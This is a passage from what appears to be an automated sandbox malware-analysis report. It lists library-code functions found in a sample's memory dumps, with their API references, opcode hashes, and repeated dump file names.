                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2568206803-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 37985bb4b3b7a6737dad156bffe78b92af373b845ea7390a0cd6bbc8dca061a2
                                                                                                                                                                                                                                                                                    • Instruction ID: c54ab27bc1e4f44b392ab23268dccec9f0dce7d6e7127f7ce785da3ed8a16b46
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 37985bb4b3b7a6737dad156bffe78b92af373b845ea7390a0cd6bbc8dca061a2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 00317C79A002158BCF15DFA8CD416AEB7F5AF59310F25426EE845E7391DB309E12CBA0
                                                                                                                                                                                                                                                                                    Function 0017D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0017D344
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017D367
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0017D370
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017D3A8
                                                                                                                                                                                                                                                                                    • Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0017D3B3
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 4212520697-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 0c8c382559ff84ee2277513da06fbaa886fabcd235a711c576b7fed0cb614d2b
                                                                                                                                                                                                                                                                                    • Instruction ID: dd03ccef773baba773d8a4ec319545852572764f600964eb653d5e6a6a762d04
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0c8c382559ff84ee2277513da06fbaa886fabcd235a711c576b7fed0cb614d2b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0031B075700214AFCB09DF54D885BBDB7B6BF89300F158199E80A9B392DB70ED41CB92
                                                                                                                                                                                                                                                                                    Function 001786C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _SpinWait.LIBCONCRT ref: 001786EE
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016EAD0: _SpinWait.LIBCONCRT ref: 0016EAE8
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00178702
                                                                                                                                                                                                                                                                                    • Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00178734
                                                                                                                                                                                                                                                                                    • List.LIBCMT ref: 001787B7
                                                                                                                                                                                                                                                                                    • List.LIBCMT ref: 001787C6
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3281396844-0
                                                                                                                                                                                                                                                                                    • Opcode ID: b845698917b494ce3e5582dfd3e87cc26643e658d8f8fc5b1e0d57b4e95130af
                                                                                                                                                                                                                                                                                    • Instruction ID: 71b235e227562fc5fdf8718f83ef553dc9c4d549062b1c68f0497af626e4b964
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b845698917b494ce3e5582dfd3e87cc26643e658d8f8fc5b1e0d57b4e95130af
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3831BC36D41255DFCB18EFA8D9856ECB7B1BF14318F25806ED40A77252CB31AD14CB90
                                                                                                                                                                                                                                                                                    Function 0018182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 001818A4
                                                                                                                                                                                                                                                                                    • Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001818EB
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: pContext
                                                                                                                                                                                                                                                                                    • API String ID: 3390424672-2046700901
                                                                                                                                                                                                                                                                                    • Opcode ID: 68328960fe3065b330f95e963dd09635dd15440b953c355c482b248427c1bdf7
                                                                                                                                                                                                                                                                                    • Instruction ID: 11562689d053c08ad124cab52d4750e92cd2207780325a80b1c4f163addee1d7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 68328960fe3065b330f95e963dd09635dd15440b953c355c482b248427c1bdf7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E721DB37B00615BBCB19B768D896ABD73ADBF96334B04011AE511872D1CBA4AE43CF91
                                                                                                                                                                                                                                                                                    Function 0017AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • List.LIBCONCRT ref: 0017AEEA
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 0017AF0F
                                                                                                                                                                                                                                                                                    • Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0017AF4E
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
